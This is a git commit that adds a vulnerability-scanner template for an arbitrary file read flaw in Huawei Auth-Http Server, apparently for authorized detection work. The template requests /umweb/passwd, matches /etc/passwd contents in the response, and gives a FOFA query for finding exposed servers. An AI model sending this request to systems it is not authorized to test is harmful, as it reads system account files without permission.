Create huawei-authhttp-lfi.yaml

patch-1
Dhiyaneshwaran 2023-12-04 11:44:17 +05:30 committed by GitHub
parent a09196634d
commit f625bed124
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 34 additions and 0 deletions

View File

@ -0,0 +1,34 @@
id: huawei-authhttp-lfi
info:
name: Huawei Auth-http Server - Arbitrary File Read
author: DhiyaneshDk
severity: high
reference:
- https://mp.weixin.qq.com/s?__biz=MzIxMTg1ODAwNw==&mid=2247498499&idx=1&sn=6850c3e9a3df795e48ba9a10c9772ddd
- https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/huawei-auth-http-readfile.py
metadata:
max-request: 1
fofa-query: server="Huawei Auth-Http Server 1.0"
verified: true
tags: lfi,huawei,authhttp
http:
- method: GET
path:
- "{{BaseURL}}/umweb/passwd"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "Huawei Auth-Http Server"
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200